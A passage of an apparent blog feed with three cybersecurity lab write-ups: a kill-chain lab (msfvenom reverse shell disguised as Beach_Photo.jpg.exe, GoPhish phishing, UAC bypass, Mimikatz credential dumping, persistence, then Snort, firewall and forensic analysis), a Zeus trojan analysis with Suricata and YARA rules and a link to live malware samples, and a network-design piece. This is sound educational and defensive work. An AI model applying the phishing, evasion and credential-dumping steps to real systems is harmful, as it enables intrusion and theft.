/><figcaption>NetworkMiner Sessions</figcaption></figure><blockquote><em>A huge number of sessions between the Kali and Windows IPs.</em></blockquote><blockquote><em>Source port changing randomly &amp; the destination port duplicating many ports, which is strong evidence of port scanning.</em></blockquote><h3>Phase 3: Weaponization &amp; Delivery 📧</h3><p><strong>Objective:</strong> Create a malicious payload and deliver it via a phishing campaign.</p><h4>1. Payload Creation</h4><ul><li>Using MSFVenom, I generated a reverse TCP shell payload encoded as an executable (update_fix.exe).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*PXRI8yPL1uXijqjOTwo3zA.png" /><figcaption>msfvenom Command</figcaption></figure><h4>2. Obfuscation (Social Engineering)</h4><ul><li>To trick the user, I used the “Double Extension” technique. I renamed the malware to Beach_Photo.jpg.exe and changed its icon to look like a JPEG image. Using WinRAR, I created an SFX archive to bind the malware with a real image.</li><li>When the victim clicks the file, the image opens normally, but the malware executes silently in the background.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6sr-hutChK5Ea2AzMr-saQ.png" /><figcaption>File Obfuscation</figcaption></figure><h4>3. Phishing Campaign (GoPhish)</h4><ul><li>I set up GoPhish to orchestrate the email delivery.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*1aApHwz2rV8hEfwG530Vzw.png" /><figcaption>Starting GoPhish</figcaption></figure><ul><li>Malicious payload hosted on a Python HTTP server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*zCNGh136FJsn4rDLJuOtFg.png" /></figure><ul><li>I configured a Gmail SMTP relay using App Passwords to bypass authentication restrictions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*b436kr9x5CBEWxEEDrfbFg.png" /><figcaption>Launching Campain</figcaption></figure><ul><li>The email template was designed to look like a photo sharing service, urging the victim to “Check out this cinematic beach.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*Sm34unFXkzGGX3AJRDfsQw.png" /><figcaption>The Phishing Email in Inbox</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*ZU6hWRYBdBgvPGRj9I6dug.png" /><figcaption>Malware delivered</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mg0WqQ-0TsYBrCOl7wbltA.png" /><figcaption>Captured on Wireshark</figcaption></figure><h3>Phase 4: Exploitation &amp; Intrusion Detection 💥</h3><p><strong>Objective:</strong> Gain a shell session and detect the intrusion.</p><ul><li>Setup the Listener using Metasploit</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*TkIk5XXy6Aqqg0zuqvSozg.png" /></figure><ul><li>The victim (user zyadr) executed the file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekpjKQAVWwzrMhrJoGTeIw.png" /><figcaption>Victim Executing File</figcaption></figure><ul><li>Instantly, the Metasploit listener caught the reverse connection, establishing a Meterpreter session (Reverse Shell).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*EDejb5PjTtSGxptiAeWKvA.png" /><figcaption>Meterpreter Session Opened (The Shell)</figcaption></figure><h4>Blue Team: Intrusion Detection (Snort)</h4><ul><li>I configured Snort (IDS) with custom rules to detect suspicious downloads and reverse shell traffic on port 4444.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*i59HYY7WrLFqt9b8qFbcYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*_HOvSrVGhk9oczeEYmuE6w.png" /><figcaption>Snort Local Rules</figcaption></figure><ul><li>Snort successfully triggered alerts, providing the first indicator of compromise (IOC).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FrIIu_p3ncqpOuEFAjEz6w.png" /><figcaption>Snort Alerts</figcaption></figure><h3>Phase 5: Post-Exploitation 👑</h3><p><strong>Objective:</strong> Escalate privileges and ensure persistence.</p><h4>1. Privilege Escalation</h4><ul><li>The initial session was running as a standard user. The getsystem command failed due to UAC (User Account Control).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*xxZuQjReHmv0hdlo2idY5g.png" /><figcaption>Getsystem Failed</figcaption></figure><ul><li>To bypass this, I used the bypassuac_fodhelper exploit. This spawned a second session with high integrity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*WGaUTntQqPZA0_jQfnfPIA.png" /><figcaption>UAC Bypass Execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*ZUxvD7HF8qPb55o9_3etZQ.png" /><figcaption>Getsystem Success</figcaption></figure><h4>2. Credential Dumping</h4><ul><li>Using the Kiwi (Mimikatz) module, I dumped the SAM database and retrieved NTLM hashes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*lmkzXuZLTAUXk4KPRUaFyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/201/1*KyApSClCTLNVdZN7hIldHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*VsDc96cJEnEttaXOxG9-2A.png" /><figcaption>Dumping Credentials</figcaption></figure><ul><li>Pulling browser passwords</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*abPcU-pRTQagbg9Cj9fx5A.png" /></figure><h4>3. Persistence (The Backdoor)</h4><ul><li>To maintain access after a reboot, I installed a persistent backdoor as a Windows Service to auto-start with the system using the persistence/service module. The malware was written to the Temp directory with a randomized name (xEFtJ.exe).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*f2uL00y9L6SAE5GMQLggKw.png" /><figcaption>Persistence Installed</figcaption></figure><h3>Phase 6: Active Defense &amp; Mitigation 🛡️</h3><p><strong>Objective:</strong> Assess vulnerabilities and block the attack..</p><h4>Vulnerability Scanning (Nessus)</h4><ul><li>Starting Nessus</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*sWRtod_rvHgJVyRc5M_-Ow.png" /></figure><ul><li>I launched a Nessus scan against the target to identify weaknesses.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*tj3HEhLHnmPUjg2EMDz7Bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*cfQpLePzqWCRK4R5m7xuAw.png" /><figcaption>Giving Nessus the password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qc9qBm_z_ML4GHku4sbD5A.png" /><figcaption>Nessus Scan Overview</figcaption></figure><ul><li>The scan highlighted several issues, including SMB signing requirements and potential OS vulnerabilities.</li><li>Advanced (Credentialed) scan failed due to hardening restrictions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SA3DBye_lxo-hOeHeLurzQ.png" /><figcaption>Nessus Vulnerabilities</figcaption></figure><h4>Firewall Blocking</h4><p>Upon identifying the C2 traffic on port 4444 and 5555, I configured the Windows Defender Firewall to create an Inbound Rule blocking all connections on these ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*HiUiZ7USYucO9zwvPiDKQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*Y8geCPtYcTS0erQhBHoomQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*YaECXhgGCfv5e64VtJQZCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*bj-vr96HE2kdH4x8L27HnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*-2_hTfraeYzYwvNRS1ZgXw.png" /></figure><blockquote><em>Result: The attacker’s connection was immediately severed.</em></blockquote><h3>Phase 7: Digital Forensics 🕵️‍♂️</h3><p><strong>Objective:</strong> Analyze the evidence to identify the malware and its behavior.</p><h4>1. Evidence Acquisition (FTK Imager)</h4><ul><li>Using FTK Imager, I created a Custom Content Image (AD1) of the compromised directories (Downloads and AppData\Local\Temp).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*ParaCVMhHSatRIgLAZAu1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*JLOOVS-v221Mi2ML54rVfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*jJVc5ErVZPAcBe0-ephj_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*N3A2PK9M9Ty1rabavFAJFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*H4X2oFY5KyazJLF9gshHPg.png" /><figcaption>Creating Custom Image</figcaption></figure><h4>2. File Analysis (Autopsy)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*8si-p_QhLo3b_GSFUkIRiA.png" /></figure><ul><li>I imported the evidence into Autopsy. The tool flagged Beach_Photo.jpg.exe as an &quot;Extension Mismatch.&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dNRiiPyH6t2GOddMs2M0Pg.png" /><figcaption>Autopsy File Analysis</figcaption></figure><h4>3. Malware Analysis (Ghidra)</h4><ul><li>The final step was to understand the backdoor’s behavior.</li><li>I extracted xEFtJ.exe and loaded it into Ghidra for reverse engineering.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*bzN6I4hEmKIOOEZ368lM-A.png" /><figcaption>Ghidra Import</figcaption></figure><p>By analyzing the “Imports” and decompiled code, I identified suspicious API calls from KERNEL32.DLL, specifically:</p><ul><li>CreateProcessA: Spawning new processes.</li><li>VirtualAllocEx: Allocating memory for this new process.</li><li>WriteProcessMemory: Injecting malicious code (payload).</li><li>SetThreadContext &amp; ResumeThread: Changes the processor path to execute the injected malicious code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*flsjqLrBd2h6NxIUvp78IQ.png" /></figure><blockquote><em>These functions confirm that the malware utilizes Process Injection techniques to hide its code within legitimate system processes, a common behavior in advanced backdoors.</em></blockquote><h3>Conclusion 🏁</h3><p>This project successfully demonstrated the full cyber kill chain. We moved from external Wi-Fi attacks to full system compromise and persistence. More importantly, we utilized Blue Team tools to detect the attack in real-time, block it, and perform forensic analysis to understand the malware’s capabilities.</p><p>Key Takeaways:</p><ul><li>Defense in Depth: A firewall alone is not enough; IDS (Snort) and Endpoint protection are critical.</li><li>User Awareness: The attack relied heavily on the user loading and opening a “spoofed” file.</li><li>Forensics: Even deleted or hidden malware leaves traces (Magic Bytes, API calls) that can be uncovered with the right tools.</li></ul><p>If you found this write-up helpful, or have any questions feel free to connect with me on LinkedIn <a href="https://www.linkedin.com/in/zyad-roshdy/">linkedin.com/in/zyad-roshdy</a> 🚀</p><blockquote>This project was conducted in a controlled lab environment for educational purposes only.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84f64a12391e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating Zeus Banking Trojan: A Full SOC Analysis Lab]]></title>
            <link>https://medium.com/@zyadroshdy/investigating-zeus-banking-trojan-a-full-soc-analysis-lab-fce119299394?source=rss-9b2b12100d85------2</link>
            <guid isPermaLink="false">https://medium.com/p/fce119299394</guid>
            <dc:creator><![CDATA[Zyad Roshdy]]></dc:creator>
            <pubDate>Fri, 30 Jan 2026 21:24:45 GMT</pubDate>
            <atom:updated>2026-01-30T23:07:30.904Z</atom:updated>
            <content:encoded><![CDATA[<h3>Investigating Zeus Banking Trojan: A Full SOC Analysis Lab 🕵️️</h3><p>In the world of cybersecurity, understanding how malware behaves is just as crucial as knowing how to stop it. In this project, I simulated a real-world SOC operation to detect, analyze, and mitigate the infamous Zeus Banking Trojan.</p><p>Using a combination of Network Monitoring, SIEM, Memory Forensics, and Signature Detection, I dissected the attack lifecycle from infection to detection.</p><p>Here is my journey.</p><h3>📌Tools used:</h3><ul><li>Virtualization: VMware (<strong>Windows 10 </strong>→<strong> </strong>Victim, <strong>Kali Linux</strong> → Analyst).</li><li>Network Analysis: <strong>Wireshark</strong>, <strong>Suricata</strong> IDS.</li><li>SIEM: <strong>Splunk</strong>.</li><li>Memory Forensics: <strong>DumpIt</strong>, <strong>Volatility</strong> <strong>3</strong>.</li><li>Detection: <strong>YARA</strong>.</li></ul><h3>Phase 1: Lab Environment Setup 🛠️</h3><blockquote><strong><em>On windows 10 VM → Turn off:</em></strong></blockquote><blockquote><em>(Windows Defender Firewall) </em><strong><em>&amp;</em></strong><em> (Real-time protection)</em></blockquote><blockquote><em>Download Zeus Trojan binary from this </em><a href="https://github.com/ytisf/theZoo/tree/master/malware/Binaries/ZeusBankingVersion_26Nov2013"><strong><em>Link</em></strong></a><em>.</em></blockquote><blockquote><em>Extract the zip file using this password → </em><em>infected</em></blockquote><p>Before unleashing the malware, I needed a safe, isolated environment. I set up a virtual lab using <strong>VMware</strong> Workstation:</p><ul><li>Network Config: Strictly isolated (Host-only) to prevent the malware from spreading to my physical network or the internet.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*EYx-CMXlSIGUcG7Kn87E5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*JxFw_jW8vvG8Xq8hhkDU2Q.png" /></figure><blockquote>Make sure to adjust the Network Adapter on VMnet2 (Host-only)</blockquote><blockquote>(Kali Linux &amp; Windows 10)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*6oiqryR7Q5-UzW64dC6mGg.png" /></figure><ul><li>Analyst Machine: Kali Linux (Gateway IP: 192.168.100.1).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*lWOajdjFQJNlbj9iXRCgMQ.png" /></figure><ul><li>Victim Machine: Windows 10 (Host-only Network: 192.168.100.2).</li></ul><blockquote>Click (Windows + R) → Type: ncpa.cpl → OK</blockquote><blockquote>Right click on Ethernet0 → Properties → choose <strong>Internet Protocol Version 4</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*ViRjtbdT33_yJrYwpQop_Q.png" /></figure><blockquote><em>Try to ping</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*Y3CNQ7Z1Ph2dlErSadjFLQ.png" /></figure><h3>Phase 2: Malware Simulation &amp; Initial Behavior 💥</h3><p>I executed the Zeus sample (disguised as invoice_...pdf.exe). Upon execution, the malware employed a classic social engineering tactic:</p><ul><li>Deception: It displayed a fake “Adobe Flash Player Installer” popup.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*8zB3WN19ijmAFedY_Pz1XA.png" /></figure><ul><li>Persistance: It attempted to install itself while hiding in the background.</li><li>Connection: It immediately tried to reach out to a C2 server, but failed due to the isolated network, displaying a connection error.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*S28B7eIXnfzvur8qv449yA.png" /></figure><h3>Phase 3: Network Monitoring with Suricata 🌐</h3><p>To understand what the malware was trying to communicate with, I used <strong>Wireshark</strong> on the Kali gateway. I captured the traffic and noticed repetitive DNS queries for a suspicious domain: fpdownload.macromedia.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wzQJILxstf966vSK_Mid4w.png" /></figure><p>Seeing this domain requested by a suspicious pdf/exe file raised red flags.</p><p>I wrote a custom Suricata rule to alert on this specific pattern.</p><blockquote><em>Create a file (rule) named zeus.rules</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*5k3_AruMwrAqShyPBLXvOA.png" /></figure><pre>alert dns any any -&gt; any any (msg:&quot;DETECTED Zeus Suspicious Domain&quot;; dns.query; content:&quot;fpdownload.macromedia.com&quot;; nocase; classtype:trojan-activity; sid:1000001; rev:1;)</pre><blockquote><em>Open suricata.yaml</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*Eb7RrBUxJPJ1_CVUADNP5w.png" /></figure><p>Click (Ctrl + F) to search and find:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*i_zsQcRAD-08cBDrIXCvPg.png" /><figcaption>Search for HOME_NET &amp; change it to 192.168.100.0/24</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*GpFu6d01YcyOaZfDryMGvQ.png" /><figcaption>Search for rule-path &amp; ensure it’s /etc/suricata/rules</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/147/1*_mV4A6mW9mUR-YaVFQO0Bg.png" /><figcaption>Search for rule-path &amp; add zeus.rules</figcaption></figure><blockquote><em>Run Suricata for live monitoring</em></blockquote><pre>sudo suricata -c /etc/suricata/suricata.yaml -i eth0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*Zax2KECD0eRWHgoVnVvWMA.png" /></figure><blockquote><em>Open another terminal to view the log in real time with this command:</em></blockquote><pre>tail -f /var/log/suricata/fast.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZWk4jtgYgJpHosuJ_32StQ.png" /><figcaption>Result: Suricata successfully triggered alerts in fast.log every time the malware ran.</figcaption></figure><h3>Phase 4: Log Correlation with Splunk 📊</h3><p>Reading raw logs isn’t efficient in a large-scale SOC.</p><p>I forwarded the Suricata logs to Splunk Enterprise running on the Kali machine.</p><blockquote><em>First we need to start Splunk: </em><em>sudo /opt/splunk/bin/splunk start</em></blockquote><blockquote><em>On the browser → </em><a href="http://localhost:8000."><em>http://localhost:8000</em></a><em>.</em></blockquote><blockquote><em>After you login click on Add Data → Monitor → Files &amp; Directors</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*ZQ4mASA5rYz650g6JpfayA.png" /><figcaption><em>Path:/var/log/suricata/fast.log</em></figcaption></figure><blockquote><em>Click Next until you finish and then click Submit.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jaXWOhj3seU_ZH7I46iOKA.png" /></figure><p>This allowed me to see the timeline of the infection attempts and confirm the persistent behavior of the dropper.</p><h3>Phase 5: Memory Forensics with Volatility 🧠</h3><p><strong>Network analysis showed where it went, but Memory Forensics showed what it was.</strong></p><blockquote><em>U can download </em><strong><em>DumpIt </em></strong><em>from this </em><a href="https://raw.githubusercontent.com/thimbleweed/All-In-USB/refs/heads/master/utilities/DumpIt/DumpIt.exe"><strong><em>Link</em></strong></a><strong><em>.</em></strong></blockquote><p><strong>I captured a RAM dump from the infected Windows machine using DumpIt while the malware error message was still active.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*cKZtxkSktx2owuHTscg1Kw.png" /></figure><h4>Moving the dump file to Kali Linux (Move it to Volatility3 folder), I analyzed it with <strong>Volatility</strong>:</h4><blockquote><em>U can download the tool (Volatility 3) on Kali Linux using this command:</em></blockquote><pre>git clone https://github.com/volatilityfoundation/volatility3.git</pre><ol><li>We tried windows.netscan:</li></ol><pre>python3 vol.py -f memdump.raw windows.netscan</pre><p>but it failed to show an active connection due to the speed at which the connection was closed after the error.</p><p>2. Process Tree Analysis (windows.pstree):<br>I traced the malware&#39;s origin. The process tree revealed that explorer.exe spawned Firefox.exe, which in turn spawned a suspicious child process named InstallFlashPlayer.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GGl_A7Pc1CzI6AXNAHC0Bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q5bfNl42s3Q0ObXiIL_UUg.png" /></figure><p>This confirmed that the invoice_...pdf.exe file I ran had injected or renamed itself in memory to mimic a legitimate installer.</p><h3>Phase 6: Dual-Layer Detection with YARA 🛡️</h3><p>To demonstrate a comprehensive detection lifecycle, I approached this phase from two different angles: Endpoint Scanning (on the victim machine) and Forensic Scanning (on the analyst machine).</p><h4>A. Endpoint File Scanning (Windows 10)</h4><p>First, I wanted to detect the malicious binary itself directly on the infected system, simulating an EDR action.</p><blockquote><em>U can download </em><strong><em>YARA </em></strong><em>from this </em><a href="https://release-assets.githubusercontent.com/github-production-release-asset/7037996/00e70f4c-6385-4a19-9166-a9060951a7c5?sp=r&amp;sv=2018-11-09&amp;sr=b&amp;spr=https&amp;se=2026-01-29T18%3A23%3A25Z&amp;rscd=attachment%3B+filename%3Dyara-4.5.5-2368-win64.zip&amp;rsct=application%2Foctet-stream&amp;skoid=96c2d410-5711-43a1-aedd-ab1947aa7ab0&amp;sktid=398a6654-997b-47e9-b12b-9515b896b4de&amp;skt=2026-01-29T17%3A22%3A28Z&amp;ske=2026-01-29T18%3A23%3A25Z&amp;sks=b&amp;skv=2018-11-09&amp;sig=xw28TPqRfbk3k0ycijZYm6hmV671s6ihrlv%2Ff8kgkMg%3D&amp;jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmVsZWFzZS1hc3NldHMuZ2l0aHVidXNlcmNvbnRlbnQuY29tIiwia2V5Ijoia2V5MSIsImV4cCI6MTc2OTcwODE5MywibmJmIjoxNzY5NzA3ODkzLCJwYXRoIjoicmVsZWFzZWFzc2V0cHJvZHVjdGlvbi5ibG9iLmNvcmUud2luZG93cy5uZXQifQ.lTkHKUUY1QQE6WVT3fFH6A4ID9bun21B4J02eqaUlls&amp;response-content-disposition=attachment%3B%20filename%3Dyara-4.5.5-2368-win64.zip&amp;response-content-type=application%2Foctet-stream"><strong><em>Link</em></strong></a><strong><em>.</em></strong></blockquote><p>Create a new folder C:\YARA.</p><p>Create a text document named zeus.yar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*wUarwzSm5800xZTO62OzNQ.png" /></figure><p>Since the malware dropper could be packed or obfuscated, simple string matching might yield false negatives.</p><p>To ensure 100% accuracy, I opted for a Hash-based detection rule.</p><ul><li>I calculated the MD5 hash of the malicious file using certutil.</li></ul><pre>certutil -hashfile invoice_2318362983713_823931342io.pdf.exe MD5</pre><ul><li>I wrote a YARA rule in the text file zeus.yar to identify this hash.</li></ul><pre>import &quot;hash&quot;<br><br>rule Zeus_Hash_Detection {<br>    meta:<br>        description = &quot;Detects Zeus Dropper based on MD5 Hash&quot;<br>        author = &quot;Zyad Roshdy&quot;<br>    condition:<br>        hash.md5(0, filesize) == &quot;ea039a********************a51c34&quot;<br>}</pre><p>Running this rule on the Windows machine successfully identified the invoice_...pdf.exe file within the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tyrIg67fuBILjgP2nf3nwg.png" /></figure><h4>B. Memory Artifact Scanning (Kali Linux)</h4><p>Next, I moved to the Analyst machine to scan the Memory Dump (memdump.raw) I collected earlier. This is crucial for detecting malware that might delete itself from the disk but remains active in RAM (Fileless threats).</p><p>I created a String-based rule (zeus.yar) using the indicators I discovered during the Volatility analysis (Phase 5), such as the fake installer name and the C2 domain.</p><pre>rule Zeus_Memory_Detection {<br>    meta:<br>        description = &quot;Detects Zeus Artifacts in Memory Dump&quot;<br>        author = &quot;Zyad Roshdy&quot;<br>    strings:<br>        $s1 = &quot;fpdownload.macromedia.com&quot; ascii wide<br>        $s2 = &quot;InstallFlashPlayer.exe&quot; ascii wide<br>        $s3 = &quot;Adobe Flash Player Installer&quot; ascii wide<br>        $s4 = &quot;InstallFlashPl&quot; ascii wide<br>    condition:<br>        any of ($s*)<br>}</pre><p>The scan on Kali Linux successfully triggered, confirming the presence of Zeus artifacts inside the memory dump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*HMv6pvGC2UEIGeOkOoqDcw.png" /></figure><h3>_____________________________________________</h3><h4>Conclusion 🎯</h4><p>This project demonstrated the power of a layered defense strategy.</p><ul><li>Suricata caught the network beaconing.</li><li>Splunk provided visibility and correlation.</li><li>Volatility uncovered the process injection.</li><li>YARA provided a mechanism for future detection.</li></ul><p>By combining these tools, I was able to fully reconstruct the attack scenario and build a robust detection mechanism.</p><p>If you found this write-up helpful, feel free to connect with me on LinkedIn <a href="https://www.linkedin.com/in/zyad-roshdy/">linkedin.com/in/zyad-roshdy</a> 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fce119299394" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Building a Fortress: Designing a Secure Network Architecture with Defense-in-Depth ️]]></title>
            <link>https://medium.com/@zyadroshdy/building-a-fortress-designing-a-secure-network-architecture-with-defense-in-depth-%EF%B8%8F-b871c65f8d06?source=rss-9b2b12100d85------2</link>
            <guid isPermaLink="false">https://medium.com/p/b871c65f8d06</guid>
            <dc:creator><![CDATA[Zyad Roshdy]]></dc:creator>
            <pubDate>Mon, 19 Jan 2026 15:29:55 GMT</pubDate>
            <atom:updated>2026-05-14T04:20:07.569Z</atom:updated>
            <content:encoded><![CDATA[<h4>A step-by-step walkthrough of designing a secure topology using layers of security controls, segmentation, and monitoring. 🚀</h4><p>In the dynamic world of cybersecurity, placing a firewall at the edge of your network is no longer enough. Modern threats require a <strong>Defense-in-Depth</strong> strategy — a multi-layered approach that ensures if one defense fails, another steps in to stop the attack. 🛑</p><p>In this project, I took on the challenge of designing a secure network infrastructure for a fictional mid-sized enterprise.</p><p>The scope was ambitious:</p><ul><li>✅ Accommodating <strong>50 users</strong>.</li><li>✅ Securing critical <strong>Web, Email, and File servers</strong>.</li><li>✅ Implementing <strong>distinct security devices</strong>.</li></ul><p>Here is a breakdown of my design decisions, the network topology, and how I integrated security into every layer of the infrastructure. 👇</p><h3>The Architecture Overview 🗺️</h3><p>I designed the topology using <strong>draw.io</strong>, dividing the network into distinct logical zones to ensure proper segmentation and traffic control. The architecture is built around a robust <strong>Core Switch</strong> (L3) that acts as the backbone, connecting the Edge, the User LAN, the DMZ, and the Internal Server Farm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*ed0BXtyNIm8vN-AixFQQww.png" /></figure><h3>Layer 1: The Edge (First Line of Defense) 🌐</h3><p>The perimeter is where we filter out the “noise” and stop mass attacks.</p><ul><li><strong>🛑 DDoS Protection:</strong> Placed before the router to scrub incoming traffic and prevent volumetric attacks from overwhelming the network.</li><li><strong>🔀 Router:</strong> Handles routing and basic ACLs (Access Control Lists).</li><li><strong>🔥 Next-Generation Firewall (NGFW):</strong> The primary gatekeeper. Unlike traditional firewalls, this NGFW performs Deep Packet Inspection (DPI) to identify and block threats at the application layer.</li><li><strong>🏠 VPN Gateway:</strong> To ensure secure remote access for employees working from home, encrypting their connection into the internal network.</li></ul><h3>Layer 2: The User LAN (Securing the Endpoint) 💻</h3><p>The internal network is often the softest target. I secured the 50 users (split across two floors) using the following controls:</p><ul><li><strong>🔌 Access Switches with Port Security:</strong> Configured to prevent unauthorized devices from plugging into the network.</li><li><strong>🕸️ WSA (Web Security Appliance):</strong> All outbound web traffic from employees passes through the WSA to filter malicious URLs and enforce acceptable use policies.</li><li><strong>📶 Wireless Security:</strong> Wi-Fi Access Points are secured with <strong>WPA2</strong> encryption and MAC Filtering to strictly control wireless access.</li><li><strong>🔍 Endpoint Protection:</strong> Every workstation is equipped with <strong>EDR (Endpoint Detection and Response)</strong> to monitor behavioral threats on the devices themselves.</li><li><strong>🔋 UPS (Uninterruptible Power Supply):</strong> Deployed alongside the core and access switches to ensure <strong>Availability</strong> (a key pillar of the CIA triad). It protects hardware from power surges and guarantees network uptime during outages.</li></ul><h3>Layer 3: The DMZ (Public-Facing Zone) 🚦</h3><p>The Web Server must be accessible from the internet, making it a high-risk target. I placed it in a <strong>Demilitarized Zone (DMZ)</strong>:</p><ul><li><strong>⚖️ Load Balancer:</strong> Distributes incoming traffic to ensure availability and reliability.</li><li><strong>🛡️ WAF (Web Application Firewall):</strong> Sits in front of the web server to block application-specific attacks like SQL Injection and XSS.</li><li><strong>🍯 Honeypot:</strong> I deployed a Honeypot in this zone to act as a decoy, luring attackers away from real assets and gathering intelligence on their methods.</li></ul><h3>Layer 4: The Internal Server Farm (Crown Jewels) 💎</h3><p>This zone contains the organization’s most sensitive data (Email and Files). It is strictly isolated from the DMZ.</p><ul><li><strong>👮‍♂️ IPS (Intrusion Prevention System):</strong> An inline device that actively inspects internal traffic flow for malicious signatures and blocks exploits before they reach the servers.</li><li><strong>📧 ESA (Email Security Appliance):</strong> Dedicated protection for the <strong>Mail Server</strong> to filter out phishing, spam, and malware attachments.</li><li><strong>📂 File Server Security:</strong> Placed deep within the network, accessible only through strict firewall rules and monitored by the IPS.</li></ul><h3>Layer 5: Management &amp; Monitoring (SOC View)🕵️‍♂️</h3><p>As an aspiring SOC Analyst, visibility is key. You cannot protect what you cannot see.</p><ul><li><strong>🧠 SIEM (IBM QRadar):</strong> I integrated a Security Information and Event Management system to aggregate logs from all devices (Firewall, Servers, IPS) for real-time threat detection and correlation.</li><li><strong>🔑 RADIUS Server:</strong> Implemented for centralized <strong>AAA (Authentication, Authorization, and Accounting)</strong> to manage user access to Wi-Fi and VPN services securely.</li></ul><h3>Common Questions You Might Ask ❓</h3><p>Here are some technical decisions I made during the design process and the reasoning behind them:</p><h4><strong>1. Why do we need an IPS if we already have a Next-Gen Firewall at the edge?</strong></h4><blockquote><em>While the NGFW acts as the gatekeeper blocking traffic based on IP, Port, and App-ID, the </em><strong><em>IPS (Intrusion Prevention System)</em></strong><em> serves as a second layer of defense inside the network. It inspects the </em>behavior<em> and </em>payload<em> of the allowed traffic to stop exploits or malware that might have bypassed the firewall, especially for protecting the critical internal servers.</em></blockquote><h4><strong>2. Why did we choose RADIUS instead of 